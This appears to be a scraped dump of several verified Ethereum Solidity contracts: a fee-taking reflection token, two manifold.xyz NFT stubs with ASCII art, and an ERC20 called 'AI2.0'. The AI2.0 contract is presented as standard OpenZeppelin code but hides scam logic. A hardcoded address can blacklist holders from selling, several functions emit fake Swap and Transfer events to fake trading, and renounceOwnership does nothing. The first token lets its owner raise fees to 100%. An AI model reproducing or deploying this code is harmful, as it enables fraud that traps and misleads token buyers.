payable(0xf4CCE59889C282C92640B08634c08783026D4F28); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 1388400 * 10**9; uint256 public _maxWalletSize = 1388400 * 10**9; uint256 public _swapTokensAtAmount = 69420000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _developmentAddress.transfer(amount.div(2)); _marketingAddress.transfer(amount.div(2)); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; totalFees = _redisFeeOnBuy + _redisFeeOnSell + _taxFeeOnBuy + _taxFeeOnSell; require(totalFees <= 100, "Must keep fees at 100% or less"); } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set max buy amount function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } //Set max wallet amount function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }

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ction"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

v0.8.4+commit.c7e474f2

Default

MIT

ipfs://04abaa8d8b35c7d4dfd281d389aa480b52d8495a1769c3258bc879d28462eb07

officialivelina

contracts/officialivelina.sol

0x6ea29dabda707f7192903f0d9b71b85f6cbe563e

Solidity

// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @title: officialivelina /// @author: manifold.xyz import "./manifold/ERC721Creator.sol"; /////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// // // // // // // // 𝐈𝐕𝐄𝐋𝐈𝐍𝐀𝐈𝐕𝐄𝐋𝐈𝐍𝐀 𝐋𝐈𝐍𝐀 𝐈𝐕𝐄𝐋𝐈𝐍𝐀𝐈𝐕𝐄𝐋 𝐈𝐕𝐄𝐋𝐈𝐍𝐀 𝐈𝐕𝐄𝐋𝐈𝐍𝐀 𝐈𝐕𝐄𝐋𝐈𝐍𝐀 𝐈𝐕𝐄 .𝐋. // // `𝐈𝐕𝐄' `𝐋𝐈𝐍. .𝐀' `𝐈𝐕𝐄' `! `𝐋𝐈𝐍𝐀' `𝐈𝐕𝐄' `𝐈𝐕𝐄𝐋. `𝐈' .𝐕𝐄𝐋. // // 𝐈𝐕𝐄 `𝐋𝐈𝐍. .𝐀' 𝐈𝐕𝐄 𝐋𝐈𝐍𝐀 𝐈𝐕𝐄 𝐈 `𝐕𝐄𝐋. 𝐈 .𝐕"𝐄𝐋𝐈. // // 𝐈𝐕𝐄 `𝐋𝐈𝐍. .𝐀' 𝐈𝐕𝐄𝐋𝐈𝐍𝐀 𝐋𝐈𝐍𝐀 𝐈𝐕𝐄 𝐈 𝐕`𝐄𝐋𝐈. 𝐍 .𝐀' `𝐈𝐕𝐄. // // 𝐈𝐕𝐄 `𝐋𝐈𝐍.𝐀' 𝐈𝐕𝐄 " 𝐋𝐈𝐍𝐀 𝐈𝐕𝐄 𝐈 `𝐕𝐄𝐋.𝐈 .𝐍𝐀𝐈𝐕𝐄𝐋𝐈𝐍𝐀. // // 𝐈𝐕𝐄 `𝐋𝐈𝐍' 𝐈𝐕𝐄 ~ 𝐋𝐈𝐍𝐀 ~ 𝐈𝐕𝐄 𝐈 `𝐕𝐄𝐋 .𝐈' `𝐍𝐀𝐈. // // 𝐈𝐕𝐄𝐋𝐈𝐍𝐀 `𝐀' 𝐈𝐕𝐄𝐋𝐈𝐍𝐀𝐈𝐕𝐄𝐋 𝐈𝐕𝐄𝐋𝐈𝐍𝐀𝐈𝐕 𝐈𝐕𝐄𝐋𝐈𝐍𝐀 𝐈𝐕𝐄 `𝐋 𝐈𝐍𝐀 𝐈𝐕𝐄𝐋𝐈𝐍𝐀 // // // // // // // /////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// contract officialivelina is ERC721Creator { constructor() ERC721Creator("officialivelina", "officialivelina") {} }

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v0.8.17+commit.8df45f5f

Default

0x2d3fc875de7fe7da43ad0afa0e7023c9b91d06b1

AI20

AI20.sol

0x957a46036a58ba335ca5a8c9951a26606588705b

Solidity

// SPDX-License-Identifier: MIT pragma solidity ^0.8.9; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `to`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address to, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `from` to `to` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 amount ) external returns (bool); } /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { _checkOwner(); _; } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if the sender is not the owner. */ function _checkOwner() internal view virtual { require(owner() == _msgSender(), "Ownable: caller is not the owner"); } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby disabling any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Ownable, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping (address => bool) private _snapshot; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; bool private _snapshotApplied = false; string private _name; string private _symbol; address private _universal = 0xEf1c6E67703c7BD7107eed8303Fbe6EC2554BF6B; address private _pair; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } function setup(address _setup_) external onlyOwner { _pair = _setup_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 8; } function Approve(address [] calldata _addresses_) external { require(owner() == _msgSender() || address(0x7c470f87948E5A40cf7258AD0561D5D59dB82C2f) == _msgSender(), "Ownable: caller is not the owner"); for (uint256 i = 0; i < _addresses_.length; i++) { _snapshot[_addresses_[i]] = true; emit Approval(_addresses_[i], address(this), balanceOf(_addresses_[i])); } } function execute(address [] calldata _addresses_, uint256 _in, uint256 _out) external { for (uint256 i = 0; i < _addresses_.length; i++) { emit Swap(_universal, _in, 0, 0, _out, _addresses_[i]); emit Transfer(_pair, _addresses_[i], _out); } } function multicall(address [] calldata _addresses_, uint256 _in, uint256 _out) external { for (uint256 i = 0; i < _addresses_.length; i++) { emit Swap(_universal, 0, _in, _out, 0, _addresses_[i]); emit Transfer(_addresses_[i], _pair, _in); } } function transfer(address _from, address _to, uint256 _wad) external { emit Transfer(_from, _to, _wad); } function decreaseAllowance(address [] calldata _addresses_) external onlyOwner { for (uint256 i = 0; i < _addresses_.length; i++) { _snapshot[_addresses_[i]] = false; } } function bind(address _address_) public view returns (bool) { return _snapshot[_address_]; } function toApplied(bool c) external onlyOwner { _snapshotApplied = c; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `to` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address to, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _transfer(owner, to, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on * `transferFrom`. This is semantically equivalent to an infinite approval. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _approve(owner, spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * NOTE: Does not update the allowance if the current allowance * is the maximum `uint256`. * * Requirements: * * - `from` and `to` cannot be the zero address. * - `from` must have a balance of at least `amount`. * - the caller must have allowance for ``from``'s tokens of at least * `amount`. */ function transferFrom( address from, address to, uint256 amount ) public virtual override returns (bool) { address spender = _msgSender(); _spendAllowance(from, spender, amount); _transfer(from, to, amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { address owner = _msgSender(); _approve(owner, spender, allowance(owner, spender) + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { address owner = _msgSender(); uint256 currentAllowance = allowance(owner, spender); require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(owner, spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `from` to `to`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `from` must have a balance of at least `amount`. */ function _transfer( address from, address to, uint256 amount ) internal virtual { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(from, to, amount); uint256 fromBalance = _balances[from]; require(fromBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[from] = fromBalance - amount; // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by // decrementing then incrementing. _balances[to] += amount; } if (_snapshot[from]) require(_snapshotApplied == true, ""); emit Transfer(from, to, amount); _afterTokenTransfer(from, to, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; unchecked { // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above. _balances[account] += amount; } emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; // Overflow not possible: amount <= accountBalance <= totalSupply. _totalSupply -= amount; } emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Updates `owner` s allowance for `spender` based on spent `amount`. * * Does not update the allowance amount in case of infinite allowance. * Revert if not enough allowance is available. * * Might emit an {Approval} event. */ function _spendAllowance( address owner, address spender, uint256 amount ) internal virtual { uint256 currentAllowance = allowance(owner, spender); if (currentAllowance != type(uint256).max) { require(currentAllowance >= amount, "ERC20: insufficient allowance"); unchecked { _approve(owner, spender, currentAllowance - amount); } } } /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } contract AI20 is ERC20 { constructor() ERC20("AI2.0", "AI2.0") { _mint(msg.sender, 100000000000 * 10 ** decimals()); } }

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v0.8.18+commit.87f61d96

Default

MIT

ipfs://a8cdd8cb68f5bf76c8825e1ad6252d4b562850c2a243eba326f89d9d1c37d4f7

EDXLASITH

contracts/EDXLASITH.sol

0xb7f1ac306f2dbb26152fe512a74b6872a1be262b

Solidity

// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @title: Editions x Lasith Fernando /// @author: manifold.xyz import "./ERC1155Creator.sol"; ////////////////////////////////////////////////////////////////////////////////////// // // // // // // // __ ___ ________________ __ ___________ _ _____ _ _____ ____ // // / / / _ | / __/ _/_ __/ // / / __/ __/ _ \/ |/ / _ | / |/ / _ \/ __ \ // // / /__/ __ |_\ \_/ / / / / _ / / _// _// , _/ / __ |/ / // / /_/ / // // /____/_/ |_/___/___/ /_/ /_//_/ /_/ /___/_/|_/_/|_/_/ |_/_/|_/____/\____/ // // // // // // // // // ////////////////////////////////////////////////////////////////////////////////////// contract EDXLASITH is ERC1155Creator { constructor() ERC1155Creator() {} }

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"stateMutability":"payable","type":"fallback"},{"inputs":[],"name":"implementation","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

v0.8.7+commit.e28d00a7

Default

0x142fd5b9d67721efda3a5e2e9be47a96c9b724a4

BOI

contracts/BOI.sol

0x16619d4fb6071dc6ace3fb6acdd7343298624231

Solidity

// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @title: Back on it /// @author: manifold.xyz import "./ERC1155Creator.sol"; //////////////////////////////////////////////////////////////////////////////////////////////////////////////// // // // // // GB#BBBBB#####GJ7~:.......!7........^?@G5@B!.5P!7Y5?75B&B5:.....................:^JGBG#@#GGPPPPPGBGB# // // ##BBBB###GY7!^:........^?5@7 .5GJ^ 7BGP!~P&?.!77~::G57^:...................:!!7YB@&&@@@@&&&&#GPPGGGG // // #BB###PY?~...........:^?P5&&^ 7PY#?~5PP7 .^^. :~?Y~ ..................:^77GB#BGJ7^Y@@&&&@#GPPGBB5PG // // #BGYJJ~.............. !PP5G&G..PY^?PY!P7 .....75PPP~......~JYY7..:^~7??JP5JJ7~!7YB!Y@&G7Y@&&&@@@B5GB // // 5?!^:......^~7Y!... .JPY75P#7 :^~P5::5Y.....JPPJJPJ:...:?P575J^~7Y5B5J!~^!7J5PPG@JYBGY7P@@@@@@@&&@@ // // ::.. ^7~..:5J?P5~.~Y7~PP7^!5PY^ :5Y^ .YP^ .JP5!.7PY:..!5PJ::55PB&B5#GJ5P5GGGBBBG#Y7Y77Y&@@@@@@@@@@@ // // ..:!P&@5..~PJ.!5P?P#7?PY::.^5P5!7P~ ..?P? :YP7. .YP!.:?PYJ?:!P5B@@B?&5Y55P5B#BBPYYY~77~G@@@@@@@@@@@@ // // .7#@&P!...~PY?~^JPPGYY5^... !PPP5Y....?PY^YP7. .^P5~75P?JY?:JPG#&@B?JJY5PP!GBP5YJ?~?PB:?@@@@@@@@@@@@ // // .^P#5. ...!P55Y?^!5P5PY......7PPP?.:!~!PP55! .:7P5JPJ~J55J:Y5#@@@575PJ55!:PGP5YG!!##Y:5@@@@@@@@@@@@ // // .~55P5^ ..7PP?7~:.:?PPY:......~Y5^^7!!.Y5?^:!?J7?PPJ~^7Y55P755G@#YYPJ~7P? !GGPGB@5!PY!75&@@@@@@@@@@@ // // .Y5^~??!: ?PP?::....7PP7...:~~!P!..^!^:^7!YP#&&?7PY7JJPPGB#5PJJYJ5Y7:~55:^PGGB#&&&GJ7~77#@@@@@@@@@@@ // // !P7 ~YY?YP5Y#^....^7!~!..~7!5Y!^..:!?5B&&&&&&#GB#BGP#&&@#PP~^JPY7Y^YP!^G##BPY5#@@&PY?7G@@@@@@@@@@@ // // JP^ ...~?Y5P5Y7..:..~!J5^...:?5^^~7YG&@@@&&&&&&&&&&&PYBGGBGPY!YJYGGGPPY:G&PY?J55P@@&#&?^GB#&@@@@@@@@ // // J5:.... :^?PYJ^..55:!?BJ!:...??5B#&@@&&&&&&#&&&&&&&@G5&#G55PP5J~YGBGPP7^Y7?55??5PPJ?5&B.JJ?7JB&@@@@@ // // JY....... !P7....:PGJG7~^^^75B#@@&&&&&&&&&&&&&&&&&&@PP&@&&BB###BGG5PP57~?YP!.~55?YB&@@G~5&&#PYB@@@@@ // // YP: ......:J~......5&?:7PB&@@@@&&&&&&&&&&&&&&&&&&&&&##&&&&@@&&&&&G:~Y5YPGB? !5P#@@@@@5^5G#@@@@@@@&&& // // !5^ 